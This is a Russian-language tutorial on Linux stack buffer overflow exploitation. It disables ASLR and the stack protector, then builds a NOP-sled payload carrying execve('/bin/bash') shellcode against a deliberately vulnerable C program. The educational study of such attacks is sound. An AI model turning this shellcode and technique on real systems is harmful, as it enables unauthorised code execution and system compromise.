Руководство по написанию эксплоитов для Linux. Часть I – переполнение стека

Руководство по написанию эксплоитов для Linux. Часть I – переполнение стека

В данном руководстве будет рассмотрен способ вызова простого переполнения стека в среде Linux.

Автор: sickn3ss

http://sickness.tor.hu
Перевод: SecurityLab.ru

ВНИМАНИЕ: Тестирование описанной ниже техники должно производиться в виртуальной среде, так как отключение некоторых элементов функционала защиты может спровоцировать компрометации системы!

ПРИМЕЧАНИЕ: В данном руководстве не описана техника создания эксплоитов. Здесь нет описания работы с языком программирования ASM, а также в данном руководстве не излагаются основы работы с GDB. Перед началом работы с данным руководством советуем вам ознакомиться с документацией:

В данном руководстве будет рассмотрен способ вызова простого переполнения стека в среде Linux.
Необходимые навыки:

  • Понимание концепции переполнения буфера
  • Владение основными понятиями ASM и C/C++
  • Понимание основной терминологии , используемой при написании эксплоитов
  • Понимание основных принципов работы GDB
  • Понимание основных способов эксплуатации уязвимостей

Данное руководство не будет понятным пользователям, которые не владеют вышеуказанными знаниями.

Вступление

Перед тем, как приступить к работе, необходимо отключить “Linux ASLR”. Это можно сделать путем передачи целого значения в /proc/sys/kernel/randomize_va_space

Рис. 1

После отключения ASLR необходимо скомпилировать уязвимое приложение:

##############################
// I am a vulnerable thing.
#include #include int main(int argc, char** argv)


 { char buffer[500]; strcpy(buffer, argv[1]); // Vulnerable function! return 0; }


Для этого нам придется отключить некоторые механизмы безопасности.
Давайте посмотрим, что случится, если осуществить обычную компиляцию, загрузить код в отладчик и попытаться вызвать переполнение буфера.

Рис. 2

Почему так происходит?

Дело в том, что gcc версий 3.x и 4.x выполняет компиляцию кода с использованием механизма SSP (Stack-smashing protection). SSP используется для обнаружения переполнения буфера до выполнения вредоносного кода.

Как работает SSP?

SSP помещает в памяти случайное целое число перед обратным указателем стека. Обычно, при переполнении буфера, адреса памяти перезаписываются снизу вверх. Поэтому, для изменения обратного указателя, функция автоматически перезаписывает малое целое (-32768 - 32767), расположенное перед обратным указателем стека. SSP всего лишь отслеживает изменение целого числа перед использованием обратного указателя в стеке.
Для отключения SSP во время компиляции необходимо установить флаг “-fno-stack-protector”.
Теперь, когда готово наше уязвимое приложение, давайте откроем его в GDB и попробуем найти смещение, необходимое для того, чтобы инициировать перезапись.

Рис. 3

Команда «run» выполняет данную программу из gdb, используя ее полный путь ( в примере /root/vulnerable_1) и остальные данные, которые необходимо передать.
Как видно, мы успешно перезаписали EIP.
Давайте обратим наше внимание на регистры.

Рис. 4

С помощью команды “info registers” можно увидеть все регистры. Для просмотра отдельных регистров можно использовать команду “x/FTM ADDRESS”.
Как показано на Рис. 4, регистр ESP содержит вредоносный буфер, который может оказаться весьма полезным. Если мы знаем адрес ESP перед выполнением функции strcpy, которая, например, считывает 200 байт, это означает, что мы знаем адрес ESP, предшествующий последним 200 байтам буфера, помещаемого в стек.

Эксплуатация

Мы можем заменить эти 200 байт нашим шеллкодом и перезаписать EIP адресом ESP.

Рис. 5

Давайте попробуем отыскать адрес ESP и прочитать 200 байт.

Рис. 6

С помощью команды “list” в gdb можно просмотреть исходный код, а затем, установить точку прерывания для уязвимой функции, запустить программу в обычном режиме и узнать адрес ESP.
В данном случае, ESP расположен по адресу 0xbffff26c (на всякий случай, выполните запуск дважды, как продемонстрировано в примере). При чтении 200 байт из ESP, получаем: 0xbffff26c - 200 = 0xbffff06c.
Теперь нам известен адрес, которым необходимо перезаписать EIP. Для перезаписи EIP требуется 508 байт. Эксплоит строится таким образом:

##############################
“\x90” * 323 + sc (45 bytes) + ESP address * 35
##############################

Для успешной перезаписи необходимо руководствоваться таким принципом:
323 байта мусорных данных + 45 байт шеллкода = 368 байт.
508 байт - 368 байт = 140 байт.
После вставки шеллкода остается 140 байт, которые нужно разделить на 4 (чтобы полностью заполнить адрес в памяти, например, \x41\x41\x41\x41) - получится 35 байт.
Также, можно упростить структуру эксплоита путем записи большего объема случайных данных для перезаписи последних байт адресом ESP. Однако, данный метод эксплуатации менее надежен, так как состояние стека после загрузки или запуска приложения может измениться. Вышеописанный пример делает наш эксплоит более надежным.

ПРИМЕЧАНИЕ: Для успешной эксплуатации может понадобиться увеличение объема мусорных данных или количества повторов ESP адреса!
Далее, необходимо скомпилировать сценарий, указав команду, которую требуется выполнить. 


Рис. 7

Теперь у нас в наличии есть все необходимые компоненты для создания эксплоита. Давайте посмотрим, как выглядит эксплоит:

##############################
$(python -c 'print "\x90"*323
+ "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89
\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x6c\xf0\xff\xbf"*35')
##############################

Вот что выйдет, если его запустить:

Рис. 8

После запуска произошла ошибка. перезапись EIP осуществляется, адрес указывается верно, но выполнение прекращается. Давайте посмотрим, что находится по этому адресу.

Рис. 9

Для успешной эксплуатации необходимо использовать большее количество пустых операций (NOP). Внесем изменения в эксплоит:

##############################
$(python -c 'print "\x90"*370
+ "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89
\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x6c\xf0\xff\xbf"*35')
##############################

Эксплоит работает, но остается небольшая проблема:

Рис. 10

EIP перезаписывается адресом 0x6cbffff0. Добавим еще одну пустую операцию и выполним эксплоит.

##############################
$(python -c 'print "\x90"*371
+ "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89
\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x6c\xf0\xff\xbf"*35')
##############################

Запустим этот эксплоит и получим:

Рис. 11

Эксплуатация выполнена успешно.
Это первая статья, описывающая основы переполнения стека для Linux систем. Следите за дальнейшими публикациями.

Тени в интернете всегда следят за вами

Станьте невидимкой – подключайтесь к нашему каналу.